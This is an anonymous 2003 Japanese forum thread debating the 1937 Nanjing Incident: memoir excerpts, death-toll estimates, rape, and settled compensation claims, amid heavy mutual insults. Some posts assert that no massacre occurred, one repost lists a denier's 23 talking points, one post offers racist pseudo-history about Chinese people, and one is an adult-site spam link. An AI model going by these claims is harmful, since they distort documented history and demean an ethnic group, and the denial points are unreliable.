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南京事件について徹底討論 その35

1 ::03/08/08 00:44 ID:qiZgGcmG
タイトルの通り、その時南京で何が起こったのか、お互いに資料をもちより、
検証しあい、認識を深めようとするスレッドです。
お願い
・レッテル貼りはこの板の常です。過剰に反応するのはやめましょう。
・資料を出すときは、出典や資料の解釈・評価などを書き添えましょう。
・政治性の強い話題などは別スレに移って存分にやってください。


2 :名無しかましてよかですか?:03/08/08 01:23 ID:RujssEuL
誰だよ、終わってるスレ立てやがって。

否定派の圧勝で終わってるんだよ。
最早議論なんかする必要はない。
南京大虐殺は無かった。以上。おしまい。

3 :名無しかましてよかですか?:03/08/08 01:38 ID:wOrcx+9m
>>2
思考停止ですか?

4 :名無しかましてよかですか?:03/08/08 02:02 ID:OGR0ZtAB
>>3
だったら「証言」以外に事件を裏付ける資料を出してくれい。話はそれからだ。

5 :名無しかましてよかですか?:03/08/08 02:06 ID:wOrcx+9m
>>4
?勘違いしてない? 別に虐殺あったなんていってないが?
要は考えることをやめたらそれで進歩ないだろってことよ。
俺たちの知ってる情報なんて歪曲された物だらけだろう?
自分で動いて調べて初めて答えらしき物が見えるんだから、
巷の本の論理に浸らないことだよ。

6 :名無しかましてよかですか?:03/08/08 02:26 ID:OGR0ZtAB
                〃───、
               / _____)
               / /´ (_  _)ヽ
              ||-○-○-|
              |(6   ゝ  |   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
              |ヽ   θ  ノ  < ここは南京について語るスレだ、バカメ!! >>5
               ヽ|\_/     \_________________
  ⊂二 ̄⌒\     ______.ノ  │ (⌒)ヴィシッ!!
     )\  ヽ  //::::::::|-、 ,-/::::::ノ ~.レ-r┐  
   /__   )/ │::::::::|  /:::::ノ__ | .| ト、  
  //// /  |  /::::::::::::| 〈 ̄   `-Lλ_レ′
  ///(/ │ ││:::::::::::|/::: ̄`ー‐---‐′
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         │  .│:::::::::::::::::::::::::;;;;;;;;;;;│



7 :名無しかましてよかですか?:03/08/08 03:30 ID:mSq5wuRO
この板の新参者には南京スレが過去にどれだけ立ったか分からない椰子が
多いので、南京スレが乱立するのを防止するためにも「その35」とか
スレ番号をふるのが合理的だと思う。

8 :最後まで無いが:03/08/08 03:46 ID:mSq5wuRO
タイトルの通り、その時南京で何が起こったのか、お互いに資料をもちより、
検証しあい、認識を深めようとするスレッドです。
お願い
・レッテル貼りはこの板の常です。過剰に反応するのはやめましょう。
・資料を出すときは、出典や資料の解釈・評価などを書き添えましょう。
・政治性の強い話題などは別スレに移って存分にやってください。

第1スレ http://tmp.2ch.net/kova/kako/1015/10159/1015950434.html
第2スレ http://tmp.2ch.net/kova/kako/1016/10168/1016847786.html
第3スレ http://tmp.2ch.net/kova/kako/1017/10177/1017730126.html
第4スレ http://tmp.2ch.net/kova/kako/1018/10187/1018781585.html
第5スレ http://tmp.2ch.net/test/read.cgi/kova/1019404595/
第6スレ http://tmp.2ch.net/test/read.cgi/kova/1020150097/
第7スレ http://tmp.2ch.net/kova/kako/1021/10212/1021217887.html
第8スレ http://tmp.2ch.net/kova/kako/1021/10216/1021600524.html
第9スレ http://tmp.2ch.net/test/read.cgi/kova/1021991115/
第10スレ http://tmp.2ch.net/test/read.cgi/kova/1022987494/
第11スレ http://tmp.2ch.net/test/read.cgi/kova/1023179127/
第12スレ http://tmp.2ch.net/test/read.cgi/kova/1023715938/
第13スレ http://tmp.2ch.net/test/read.cgi/kova/1024798780/
第14スレ http://tmp.2ch.net/test/read.cgi/kova/1026218086/
第15スレ http://tmp.2ch.net/test/read.cgi/kova/1027530540/
第16スレ http://tmp.2ch.net/test/read.cgi/kova/1028652607/
第17スレ http://tmp.2ch.net/test/read.cgi/kova/1029076564/
第18スレ http://tmp.2ch.net/test/read.cgi/kova/1029465754/
第19スレ http://tmp.2ch.net/test/read.cgi/kova/1030257510/
第20スレ http://tmp.2ch.net/test/read.cgi/kova/1030888496/ 
第21スレ http://tmp.2ch.net/test/read.cgi/kova/1032446954/
第22スレ(前スレ) http://tmp.2ch.net/test/read.cgi/kova/1034609489/


9 :名無しかましてよかですか?:03/08/08 12:03 ID:xA1s/+d5
まず肯定派の人間が適切な資料を出してもらわないとどうしようもない


10 :名無しかましてよかですか?:03/08/08 16:22 ID:38xku9NW
>>2「議論は終わってる、1+1=2だ!おしまい!」
>>3「思考停止ですか?」
>>4「だったら1+1が2でないという資料を出せ」
>>5「私は1+1が2でないなんて言ってません。
   考える事をやめたら進歩できないって事よ。
   自分で動いて調べてはじめて答えらしきものが見えてくる」

俺「結果を受け入れない香具師にも進歩は無いと思うが」

あと、現在の南京本スレは↓こっちで、ここは重複スレ(笑)
http://tmp.2ch.net/test/read.cgi/kova/1059923547/l50

11 :名無しかましてよかですか?:03/08/09 14:12 ID:BjSErATq
光松秀一『担架の小隊長』自費出版、昭和47年(初刷1,000部)

光松秀一:第三師団(名古屋)歩兵第六連隊(応召時、満24歳)、第三師団衛生隊付担架第三中隊第一小隊長

p.14
 = 南京陥落 =

 十二月十三日南京陥落の朝は軍司令部で迎えました。
p.15 
 第三師団司令部は土山鎮にいるとのことですが地図には方々に土山鎮があり、どこへ行けばよいかわかりません。多
分東南方郊外の土山鎮だろうという参謀のことばに従って、そこへ行くことに決めました。そこへ行くには南京城内を
通るのが一番わかり易いようでした。
 南京城内へ行くトラックの助手席に乗せてもらって中山門まで行きましたが、所属部隊が明らかでないものは将校と
いえども城内へ入れないといって憲兵が通してくれません。それではというので別のトラックに頼みこみ覆いの陰に隠
れて難なく城内に潜入しました。中山東路の中ほどでトラックをおり、通済門の方へ行こうとしましたが、街角ごとに
 憲兵がおり、日本兵の無法行為を取り締まっておりましたので、商店の店先から裏通りへ抜け、網の目を潜るようにして
通済門まで辿りつきました。
通済門を出て、門外の異常な光景にど肝を抜かれました。水濠の中も外も老若男女の死骸で足の踏み場もありません。
鉄舟が並べてあるので濠は渡れますが、見える限りの城壁の下は死骸の河原です。死骸を踏まずには歩けません。鬼気
迫るとは正にこの場の形容詞です。上海から南京まで支那軍と日本軍とに挟まれて南京城外まで逃げてきたものの城内
へ入れてもらえずに、戦火にさらされた住民たちのむごたらしい最後だったのです。
 こうして目指した土山鎮に辿りつき、衛生隊長に逢いましたが、第三中隊はここにいないと聞かされて、これほど力
を落としたことはありません。中隊は金壇で本道から右折して鎮江へ行き、天谷支隊の揚州攻略戦に参加して、揚子江北
岸十qの揚州に駐屯しているはずとのことでした。いま直ぐ揚州にいる中隊へ出かけていくことは無理だから、しばら
く衛生隊本部で副官の手伝いでもしていなさいといわれ、居候の生活が始まりました。


12 :名無しかましてよかですか?:03/08/09 14:38 ID:wkqTF5tw
>>11
虐殺はしといて略奪は取り締まると?
おもしろい民族ですね

13 :名無しかましてよかですか?:03/08/09 14:46 ID:90heI8f0
>>12
少なくともここには虐殺の描写が見あたらないんだけど。

14 :名無しかましてよかですか?:03/08/09 15:56 ID:wkqTF5tw
>>13
ものすごい勘違いをしました

15 :一般人の素朴な疑問:03/08/09 19:00 ID:7+Lmnu3c
100人斬り論争について一言
あの記事って
百人の中国兵を斬ったって話ですよね
それが南京事件の証拠として扱われる自体がおかしいと
思うのですが?
 それとも南京事件の被害者というのは中国兵のことなので?
じゃあ南京虐殺記念館は自分らはこんなにも
よわっちかったということを言いたいのでしょうか?


16 :名無しかましてよかですか?:03/08/09 19:18 ID:WQaTz2cj
"















====================ここまで読んだ====================/山崎渉/

17 :名無しかましてよかですか?:03/08/09 21:20 ID:gW/mBSe7
>>15 
元に滅ぼされたり(宋・蛮宋軍)やアヘン戦争にストレート負けしてるだろ。
元々中東アラビアで戦争に負けて逃走してきた残党が長じて民俗化した種族だ。
日本・朝鮮も元を辿れば同じルートだが、比較的移動の苦手な種族が
大陸つたいに中国に渡りとどまった。太古の昔から機動力に欠けるやつらだ。
勝てるはずがない。


18 :名無しかましてよかですか?:03/08/10 13:18 ID:ioKga56t
お、徹底討論スレがいつの間にか復活してるジャン。

東中野の新著の話でもする? 俺持ってないけど、
なんかとんでもないこと書いてあるらしいね。

東中野が従来の否定派説を否定するような。

19 :名無しかましてよかですか?:03/08/10 13:42 ID:PgwpaOhz
あんまり書き込みないとスレ沈むんだっけ?

20 :名無しかましてよかですか?:03/08/10 23:02 ID:rebHSBXH
>>2
> 誰だよ、終わってるスレ立てやがって。
> 否定派の圧勝で終わってるんだよ。
> 最早議論なんかする必要はない。

 ぷぷ。否定派の圧勝だって。笑っちゃうね。

 「議論なんかする必要はない」とはつまり、議論をすると負けるから
もうしないという宣言なんだね。悔しいからねw

 実際には全戦全敗。勝った試しなど一度もない。

 否定派の期待の星グースは論破された理屈だけでサイトにしちゃうし、
もう死に体w


21 :名無しかましてよかですか?:03/08/11 00:41 ID:PXeVA+Rr
挑発イラネ
挑発に乗るアフォもイラネ

22 :名無しかましてよかですか?:03/08/11 03:23 ID:FK9TqTxL
挑発でなくて事実だと思われるw

23 :名無しかましてよかですか?:03/08/11 05:17 ID:+pYTGe9u
>>20
夏だな・・ 捏造派の完敗で既に終わってますね

24 :名無しかましてよかですか?:03/08/11 05:23 ID:UdzkJ+Fb
★オナニー共和国です★ ★貴方の見たい娘がイッパイ(^0^)★無修正★クリック一発モロ画像★
http://endou.kir.jp/akira/linkvp.html

25 :名無しかましてよかですか?:03/08/11 05:40 ID:UhksOcVv
>>10
「1+1=2ではない。なぜなら、1=1/3x3で1/3は0.333333333......だから、
よって1/3x3=0.9999999999999999999........だ!」

1+1が2じゃない証明だw
そういうつっこまれる表現がある限り、
捏造派はさまざまなイチャモンをつけ続ける。

そもそも歴史の検証をディベートで展開しようとするから
>>20みたいなバカが印象操作し続けるんだよ。

それでも、まだここで話したい奴は、
メール欄のとこにでも南京事件の定義を書き込んでからやったらどうだ。
そしたら少しはこの無駄スレも成仏できるだろ。

まあがんばってくれや。

26 :名無しかましてよかですか?:03/08/11 08:15 ID:DTg+Qjgd
ほんと否定派つうのは・・・

27 :名無しかましてよかですか?:03/08/11 11:23 ID:FK9TqTxL
>>23
否定派の脳内では、だろ?w

28 :名無しかましてよかですか?:03/08/11 12:37 ID:FsFWOHhR
ID:FK9TqTxL =K−Kスレにも必死で書き込んでいるアフォ

29 :名無しかましてよかですか?:03/08/11 15:11 ID:ETanGp/j
Yahoo掲示板の軍事カテゴリ、南京大虐殺はでっち上げと確信している トピの
キチガイ否定派F君によるまとめは、ある意味良くできている。以下がそれ。

1 中国の主張する30万虐殺は捏造であり、
  肯定派も捏造を認めている。
2 肯定派の出した資料は戦後に出てきた矛盾した個人発言や日記などで
  どれも捏造が指摘されている。
3 大虐殺を証明できる証拠は何も無い。
4 戦争中は日本、中国、外国で大虐殺があったという認識は無い。
  (「南京」で「日本軍」が「戦闘・摘発」以外で「数万」の「市民」を殺害した
   「戦争中に公表された」記録はわずかに新聞記事2ケと、
    それを引用した国民党の発表のみであり、
    それ以外に大虐殺があった記録は無く、何処の新聞などにも書かれていない。
    なおこの2件は記者が南京にいないことが明らかになり捏造が証明されている。)
5 日本軍の占領後に治安が保たれ急速に人口が増えている。
  (資料:国際委員会の人口統計、要人の証言などの当時の公文書)
6 資料からは陥落時の人口は15万〜25万である。
  (資料:国際委員会の人口統計、要人の証言などの当時の公文書)
7 資料からは1月の人口は25万であり、人口が減っていない。
  (資料:国際委員会の人口統計、要人の証言などの当時の公文書)
8 資料からは安全区や宝塔橋街などの難民避難所以外には、ほぼ市民はいない。
  (資料:国際委員会の人口統計、要人の証言などの当時の公文書)
9 虐殺があった写真はどれも、いつ、誰が、何処で撮ったかが
  明記されていない4等資料以下で、矛盾点が指摘され、捏造が指摘されている。
  (資料:虐殺があった写真とその捏造の指摘)
10 虐殺が無かった写真(同じ街で虐殺が起きているとは思えないような平和な光景)は、
  いつ、誰が、何処で撮ったかが明記された一等資料で、捏造の指摘すら無い。 
  (資料:虐殺が無かった写真とその捏造の指摘が無いこと)


30 :名無しかましてよかですか?:03/08/11 15:13 ID:ETanGp/j
11 紅卍字会の埋葬記録では女の死体は83名、子供の死体は48名あるいは46名である。
  (資料:紅卍字会の埋葬記録)
12 スマイス調査では市民の死亡数は12000人である。
  (資料:スマイス調査)
13 日本軍が殺人を行ったとの訴えは49人である。
  (資料:国際委員会とそれを受け取った日本大使館の公文書)
14 日本軍が強姦を行ったとの訴えのなかで事実だったのは7人である。
  (資料:国際委員会とそれを受け取った日本大使館の公文書)
15 日本軍は殺害などを禁止し、違反者を厳しく処罰した。
  (資料:日本軍の軍事記録)
16 日本軍は食料を市民に与えたりした。
  (資料:市民の感謝状や日本軍の軍事記録)
17 裁判が行われて、現在でも内政干渉が行われているので、
  大虐殺があったと主張する方が証拠を出す義務がある。
18 戦闘での敵軍の殺害は虐殺ではない。
19 中国は真実を明らかにするような調査を拒否している。
  (資料:現代の新聞記事など)
20 国際委員会が日本軍の不法殺害を一つも目撃していない。
 (2件の殺害を目撃したが、共に合法な処刑だと判明した。)
  (資料:国際委員会と要人の証言などの当時の公文書)
21 捕虜の(数万の)大量殺害を行った日本軍の軍事記録は実在しない。
(左翼は戦後に出てきた個人の日記を「軍事記録」だと捏造している。)
22 肯定派は人数と証拠の提出を拒否している。
また人数も証拠も不要であるとの発言も行っている。
23 日本軍が大量の市民を不当に殺害した根拠がある学説は存在しない。



31 :名無しかましてよかですか?:03/08/11 15:14 ID:ETanGp/j
ちなみにこのキチガイ否定派君は、わりとまともな否定派には相手にされない(w

32 :名無しかましてよかですか?:03/08/11 16:03 ID:BekPTtYL
このスレ見ての感想だが、ホントに肯定派は印象操作ばっかりだな。
もっとも、操作できてると思ってるのは本人だけだが(笑)

33 :名無しかましてよかですか?:03/08/11 16:09 ID:/T69uJHT
↑という印象操作もある罠(w

34 :名無しかましてよかですか?:03/08/11 16:21 ID:BekPTtYL
↑という印象操作も(ry

35 :名無しかましてよかですか?:03/08/11 16:35 ID:4h8MldSR
まあ、まぼろし派のやっていることは、
「宅間守くんにもこんな善行が」と、足をふまれても殴らなかった過
去とか、その頃の関西では人を殺すのもやむをえなかったという慣行
(山口組内規)、とか縷縷羅列するようなもんだな。
それら事実も確かに真実ではある、と。

36 :名無しかましてよかですか?:03/08/11 16:48 ID:BekPTtYL
>>35
宅間守の犯行はまぎれもない事実。
南京大虐殺は未だ立証されず。
両者を同列に置く事自体おかしい。

まぁ君の脳内では虐殺が事実って事になってるんだろうけど。

37 :名無しかましてよかですか?:03/08/11 17:28 ID:FZb2GfAw
>36
まぼろし派のすごいところは、仮に「立証されても」虐殺に意義を見出す
だろう点だな。731部隊は戦後医療発展に多大な貢献をした。みたく
おそらく心情的まぼろし派のほとんどは、先の大戦の自国民の犠牲者数す
らしらんだろうな(ましては大陸での死者などものの数ではない)

汚いもの惨いものを直視したくない、つう気持ちはよくわかる。

38 :名無しかましてよかですか?:03/08/11 17:34 ID:FZb2GfAw
>>35
>宅間守の犯行はまぎれもない事実。

刑事裁判の建前では「まだ」事実じゃないな。控訴中であるし、今だ
無罪推定は働いている。

また、いちゃもんをつければ、彼の犯行目撃証言、本人の自白、物証
の刃物等が存するだけであって、訴訟法的真実(証拠能力のある証拠
による、合理的疑いを越える証明)は法廷であきらかにされるであろ
うが、真実(神の領域)彼がやったということは判らない(歴史的真
実)。



39 :名無しかましてよかですか?:03/08/11 17:35 ID:BekPTtYL
>>35 >>37
繰り返しになるが、肯定派はやっぱり印象操作しかできないんだね。
「仮に立証されても」とかいってるヒマがあるなら
とっとと証拠出して立証してみせれば?
絵に描いたモチをいつまで引っ張ってんの?

40 :名無しかましてよかですか?:03/08/11 17:38 ID:BekPTtYL
>>38
自分でも言ってるけど、文字通りいちゃもんですな。
まぁそういう方向に議論を持っていきたい肯定派の気持ちはよく分かるよ。

41 :名無しかましてよかですか?:03/08/11 17:47 ID:FZb2GfAw
おいおい、東京裁判で認定され、教科書にものって、政府が認めている
(人数のぞく)事件を「立証」って笑わせるなよ。

すでに暫定真実なんだから、否定派が「それをひっくりかえそう」とが
んばっているんじゃねえか。
>とっとと証拠出して立証してみせれば?
逆なんだよ、おまえらが「なかったことを」立証しなきゃいけないわけ。
有罪が確定したあと、再審でがんばっているつう自分の立場もわかって
ないだな、ここの否定派は。



42 :名無しかましてよかですか?:03/08/11 18:00 ID:rqUdtJZd
否定派の理屈は、署名捺印した借用書を前にして
「俺が金を借りた証拠を出せ」とごねているようなものなんだよな。

日本が国際的な条約で南京虐殺を認めている以上、否定派がいくら
「証拠がない」と騒いだところで、それは、
「言論の自由がある国での少数派の意見」でしかないんだよ。
それを自覚せずに肯定派をいくら「論破した」と「勝利宣言」しても、それはオナニーでしかないんだよ。
北朝鮮の唱える「大韓航空機爆破事件はでっち上げ」「拉致事件はでっち上げ」と同じ様な扱いを受けるだけだ。


43 :名無しかましてよかですか?:03/08/11 18:11 ID:bgcgEMmg
肯定派のよりどころは「決定済み」の一点にかかってきたね。

44 :名無しかましてよかですか?:03/08/11 18:13 ID:BekPTtYL
>>41
「東京裁判で判決出ました、教科書にも載ってます、ハイ終わり」
・・・で済む話だったら、35本もスレ立つかよ?
お前、今までの南京議論で何を見てきてるんだよ?
あ、もしや今日はじめて参加した新人さん?
ダメだよ過去ログくらい見なきゃ(笑)

>>42
 ま た 印 象 操 作 か


45 :名無しかましてよかですか?:03/08/11 18:19 ID:FZb2GfAw
>44
いちゃもんばかりつけてないで、なんか「新事実を」出せよ。
東中野の引き写しで良いからさあ。

三笠宮の告白文(さんざん既出)でも貼ってやろうか?ああ

46 :名無しかましてよかですか?:03/08/11 18:23 ID:FZb2GfAw
>肯定派のよりどころは「決定済み」の一点にかかってきたね。

否定派のよりどころは「負けたといわない」の一点にかかって
きたね。確かに嘘も言いつづければ、本物っぽくなってくる。



47 :真実の不死鳥:03/08/11 18:53 ID:9n8WB9ZP
>>41
だから、
「南京虐殺は立証されてないから現時点では事実として認められない。」
と言う事を国際的に認めさせてから、
事実だと立証されるなりでっちあげだと立証されるなりするのが正しい順番なわで、
それを認めないのは恥をさらす事と、
対外関係が悪化するのを恐れるため。
南京虐殺の有無に関らず、
証明されて無い以上公人は
「南京虐殺はあった。」とか「南京虐殺はなかった。」ではなく、
「あると思う。」とか、「無いと思う」とか、「現在検証中」
とでも言わなくてはならないはず。
まあ、ここでは荒らさない限り何を言おうと構わないけど。

48 :名無しかましてよかですか?:03/08/11 19:03 ID:BekPTtYL
肯定派(つーかID:FZb2GfAw)は
もはやオウム返ししかできなくなっている模様。

ていうかさっきから煽り合いでスレ消費しとるな。
とりあえず漏れは>>25に同意って事で落ちるわ。
印象操作合戦にいつまでも付き合ってられん。
もう少し「まともな」議論が活発化してきたらまた来るよ。

49 :_:03/08/11 19:05 ID:a8maDVAU
http://homepage.mac.com/hiroyuki45/hankaku09.html

50 :名無しかましてよかですか?:03/08/11 19:29 ID:6ZqWQBPa
>ていうかさっきから煽り合いでスレ消費しとるな。
>とりあえず漏れは>>25に同意って事で落ちるわ。
>印象操作合戦にいつまでも付き合ってられん。
>もう少し「まともな」議論が活発化してきたらまた来るよ。

いるんだよなあ、ゼミ、会議でなんも発言しない割に、「内容が
つまらん」といちゃもんをつけるタイプ。おまえが面白くしろよw
戦後教育の弊害だなw

51 :名無しかましてよかですか?:03/08/11 20:39 ID:swy+sviz
東京裁判で日本軍の罪の筆頭に挙げられたのが捕虜殺害3万。
よって捕虜殺害は日本軍の一級オフィシャル史料にも複数出てくる
わけで、東京裁判の判決は未来永劫覆りません。捕虜は極端な話
1人殺害しただけでも軍事裁判では有罪になる。
松井岩根大将の判決も「違法行為の防止責任」で有罪であった。

52 :名無しかましてよかですか?:03/08/11 21:11 ID:QBRv5nO7
便衣兵とか人口論とかの議論は過去スレでし尽くされている。

それ以外でないなぁと思うのは、強姦だね。外国人の日記などでは特に強姦が目立つ。
当時からRape of Nanking と呼ばれたほどだからね。

そういった資料を読んでいると最低でも数千単位の強姦があったように読める。

先ずは諸氏の意見を伺いたいね。否定派的意見で「肯定派が証拠を出すべき」というのは
この際ルール違反としたい。それは後で良いと思う。

先ずは諸氏がどう思うか。それを書き込んで欲しい・・・
って、別に俺が仕切るわけじゃないがね。

53 :肯定派C:03/08/11 22:17 ID:X4YdGByh
まず無数の強姦がおこなわれたことは、ほとんどの資料・証言が指し示し
ている。その通りだと思う。また、刑法犯罪に「強姦致死罪」あることが
しめすように、類型的に強姦に際しては致死の結果がともなうことは明か
である。なにしろ、相手の抵抗を完全に抑圧しなければ出来ない行為であ
るから。
そして、南京事件において強姦が頻発したのは、「日本人が」ではなく「
日本軍隊の構造」に問題があった。
当初、南京までの遠征計画は無く、当然食料物資の集積もなく現地調達。
その際現地人からとりあげるんだから、トラブルはあるわな。
又、上海郊外上陸時に203高地ばりにバタバタ戦死し気がたっている。
イライラの募った兵士が、内地転地もなく南京進撃。相手は下等国中華
民国の国民ども。
そりゃ、やるわな強姦。そしてそれらの行為が犯罪であるのは間違いな
い。
有史以来戦争につき物の犯罪が、マスメディアの黎明期にはじめておこ
なわれた、そして報道された、と。


54 :名無しかましてよかですか?:03/08/11 22:18 ID:cpIvD1BH
強姦については戦争をしたこことがある国すべてに共通することでしょう。
理性がはずれた状態での一種の本能の解放みたいな。
特に日本だけが並はずれていたとは思わないが。
肯定派が証拠を出すのは当然だと思うし、否定派はそれを否定してきての
全体的な判断になると思う。
この際ルール違反は、証言のみの肯定論と嘘の証拠でしょう。

また、Rape of Nankingは単に反日思想からの言葉ではないかと思ってい
るし Rape of Japanという本がでても漏れはおかしくないと思う。

55 :名無しかましてよかですか?:03/08/11 22:23 ID:FK9TqTxL
>>54
南京で強姦が多発した、に対する反論になっていないなぁ。
第一、あんたは日本軍による多数の強姦の存在を認めてるわけでしょ?

それと
>強姦については戦争をしたこことがある国すべてに共通することでしょう
>特に日本だけが並はずれていたとは思わないが
これ、両方ともあんたに論証の義務があるよ。

>この際ルール違反は、証言のみの肯定論と嘘の証拠でしょう。
これはあからさまな不公平。証言のみの否定論は、いいわけ?
あと、
ウソの証拠って、どういうもののこと?
具体例言わないでこれ言ったって、そんなのは印象操作でしかないでしょう。


56 :名無しかましてよかですか?:03/08/11 23:17 ID:9g/g6v/Q
ほんとお前らあほやね。
お前らのじいちゃんが可愛そうだよ。
俺はじいちゃんを悪人扱いするお前らと嘘で固まった馬鹿を絶対許さん!
じいちゃんが中国で戦ったのは戦後生まれる俺達の為だ!

57 :肯定派C:03/08/11 23:40 ID:Ilt9JKqK
>56
なにをつっこんで欲しいんだ?

58 :名無しかましてよかですか?:03/08/12 00:44 ID:LENHTten
>>54
> 強姦については戦争をしたこことがある国すべてに共通することでしょう。

 何というか・・・実際、そうした意見があるであろうことは当時の
ベイツが言っているのである。

 よりまともな日本人でさえ、あらん限りの日本軍の行為を突きつけられれば、
 侮辱されたと思うでしょう。そして、ベルギーとか「どこの国の軍隊も」と
 言い繕うに違いない。
 <ティンパレーとベイツの『戦争とは何か』の出版をめぐる往復書簡
  (5ベイツからティンパレーへ1938年3月14日)>
  『南京事件資料集 1 アメリカ関係資料編』p362



59 :名無しかましてよかですか?:03/08/12 00:46 ID:Io3y1ecw
>>56
だからさ、俺らのじいさんたちは、善人でもあったし悪人でもあったわけよ。
「善人」のじいさんたちしか愛せないんじゃ、じいさんたちが可哀想だろ。

60 :名無しかましてよかですか?:03/08/12 01:04 ID:frtb+xte
強姦を認めるとか認めないとかじゃなくてさー。
南京に限らずそうなっても戦争状態ではおかしくないんじゃないかってことでしょ。
俺がするかどうかもその時になってみないとわからんし。
そんなもんじゃないかと思う。

証言のみの否定論もこの際ルール違反にしては?

61 :名無しかましてよかですか?:03/08/12 02:54 ID:I5Dd4tUK
強姦がいっぱいあったなら、

な ん で 混 血 児 が 一 人 も 確 認 さ れ て な い の ?

62 :肯定派C:03/08/12 07:49 ID:nNFqgfAi
>61
かなり愚劣な意見だな。
米軍駐留により、日本でも混血児は多数生まれたが、「テレビ」以外で
彼らを見た事>>61にあるか?視野の狭い61はもちろんなかろうな。

ましてや、「日本人」と「中国人」の混血だとして、外観でわかるか?
又、日本鬼子の素性なんて明かすか?

結論 否定論の連中は、物事の推論能力が無い

63 :名無しかましてよかですか?:03/08/12 08:41 ID:i0ui9Uzm
結局肯定派は、何人の人が殺されたと考えてるの?
そして、その数字の根拠は?

64 :肯定派C:03/08/12 09:29 ID:l7biLOoQ
俺は、秦説の線だがね(4万前後か)。捕虜不法殺害3万、一般人1万内外。

又、根拠については、それらの文(秦、本多、等)を読む限り、としか言
えないなあ。君たちも、東中野論文等に論拠してんであろう?現地調査を
したような否定派が(ここに)いるとは思っていないだろう?


65 :肯定派C:03/08/12 09:34 ID:l7biLOoQ
A説、B説があったとして、どちらが説得的と言えるか。
単にA説(ここでは肯定論)が説得的とおもえるというだけの話。

どうしても南京の話しになると、政治的・感情的色彩を帯びてく
るから、冷静な判断が難しくなる。


66 :_:03/08/12 09:35 ID:f/7omGBK
http://homepage.mac.com/hiroyuki45/hankaku_b01.html

67 :名無しかましてよかですか?:03/08/12 11:13 ID:JN0Bk7pj
>>41>42とか見てると思うけど
まるっきる他人事だよな
とても日本国(自分達)の
責任や賠償問題になるとは考えていない
>>37
>>汚いもの惨いものを直視したくない、つう気持ちはよくわかる。
これなんて自分を除くお前等がやったんだから
強く向き合えと言ってるようにしか見えんよ。
もっと自身の事だと認識して考えて欲しいよ。
子孫が可哀想だ。
いつまでも自分は正しい人間だとかで酔ってないで
等身大にモノを考えていかないと
自分たちも破滅するって考えたこと無いか?
それとも正しいと思ってるから本望か。

68 :名無しかましてよかですか?:03/08/12 11:47 ID:i0ui9Uzm
>>64
ありゃりゃ。
20万とか30万とか言って、根拠が崇善堂の埋葬記録とか言ったら
ツッコミ入れようと思ってたのに。


69 :名無しかましてよかですか?:03/08/12 11:52 ID:fYLh3zt4
>>68
ちなみにどんなツッコミ?

70 :名無しかましてよかですか?:03/08/12 12:04 ID:i0ui9Uzm
>>69
崇善堂の埋葬記録は捏造だよ、って。

71 :名無しかましてよかですか?:03/08/12 12:28 ID:ShID9GV9
>>70
> >>69
> 崇善堂の埋葬記録は捏造だよ、って。

ウィルソンの手紙 1938/5/7付け
 The Red Swastika Society has for the last month been feverishly
 burying bodies from all parts of the city outside the zone and
 from the surrounding countryside.
 ("Documents On The Rape Of Nanking"p254)

じゃぁ、5/7までの一ヶ月にfeverishlyに埋葬していた団体ってどこなんだろうね。
ここには紅卍字会とあるけど、紅卍字会はこの時期そんなに埋葬してないみたいだしね。

72 :名無しかましてよかですか?:03/08/12 14:56 ID:43AIGj0y
>>67
>とても日本国(自分達)の責任や賠償問題になるとは考えていない
いや、日本の責任や賠償問題は、南京事件を肯定し認めた上で、サンフラン
シスコ条約などで、とっくに解決済みなんだが。
むしろ、罪を認めてそれを前提に平和条約結んでいるのに、あとから罪を
否定すれば非難されるのも当然。否定派こそが責任問題を生み出し、外交
上の武器を諸外国に売り渡している売国奴ではないかとも思えるのだがw)

73 :肯定派C:03/08/12 16:43 ID:4gpLcyg7
国家賠償の点→日中国交正常化の際「求めない事」で決着済み
個人賠償の点→不法行為の除斥期間経過(民法724条)にて賠償請求権消滅

否定派の連中が騒ぐたびに、向こうの方々の不満がたまりひと悶着
こればっかじゃねえか、ここ20年のパターンは。勘弁してよ。

74 :肯定派C:03/08/12 16:48 ID:4gpLcyg7
>否定派こそが責任問題を生み出し、外交上の武器を諸外国に
>売り渡している売国奴ではないかとも思えるのだがw)

ナイーブなんだろうねえ否定派は、中国をこっちの味方にしてやろうとか
戦略はないのかねえ?これだけODAだしてんだから、なんか国連で日本の
意思を通したいときは当然日本側にたってよさそうなもんだが、政治家の
失言とかあるたびに「歴史問題で」相殺されてしまう・・はあ



75 :名無しかましてよかですか?:03/08/12 17:48 ID:pJvPGXyd
サヨクが騒ぐからねぇ・・・・・

76 :名無しかましてよかですか?:03/08/12 18:59 ID:JN0Bk7pj
やっぱり現実的に決着してない上に
それを自分で証明してしまってるな。
そんな程度で相殺される程度にしか
何億何兆の財産が思われてないんだったら
政治的に解決することが無理な上
永遠に補償が暗黙の了解になるな。
なんでそう他人事なのかね。

77 :名無しかましてよかですか?:03/08/12 20:11 ID:GO2WRSfE
>>76
要約すると、『反論できません、ごめんなさい』ってことでいいですか?
つか全体的に根拠不明。判りやすく翻訳キボン。
補償が暗黙の了解? 何それ?


78 :名無しかましてよかですか?:03/08/12 20:18 ID:JN0Bk7pj
あほ。これ以上分かりやすくできるか。

79 :名無しかましてよかですか?:03/08/12 20:27 ID:GO2WRSfE
>>76
じゃ、せめて根拠くらい書こうよ。
文章力のなさは多めに見たげるからさ。

現実的、政治的に既に解決してるのは上で述べられてる通り。
解決してないという根拠は?

で、解決してる問題をわざわざ蒸し返してるのは否定派ってことで、OK?

別に答えられなきゃ逃げてもいけどさ。

80 :肯定派C:03/08/12 21:13 ID:Xbil4Y+S
否定派のみなさんについて、本日明らかになった点

@賠償請求権につき法的に決着済みということを知らなかった、もしくは
 理解できなかったらしい。


81 :否定派CD:03/08/12 23:41 ID:So08X2gU
その解決の仕方がおかしいと言っているのでわ・・・。
今まで何やってきたんだ?
35スレも続いて。

ところで
肯定派の諸君は、当時の解決の仕方と中国の言い分で了解しているってことでOK?

違うでしょ。
>>79はそうかもしれんが。

82 :肯定派C:03/08/13 00:29 ID:/u6yDdPY
>81
離婚成立の後、ぐだぐだ述べるたぐいだな、そりゃ。

世の中の「示談」で、神の目から見りゃ、おかしい解決の仕方はさまざま
あろうねえ。

83 :名無しかましてよかですか?:03/08/13 00:48 ID:O1yKHBQg
>>81
>その解決の仕方がおかしいと言っているのでわ・・・。
韓国併合の件は、日韓基本条約で解決済みですが、解決の仕方がおかしいとか言って
さらなる賠償を要求する、一部韓国人の主張に同意されるわけで?
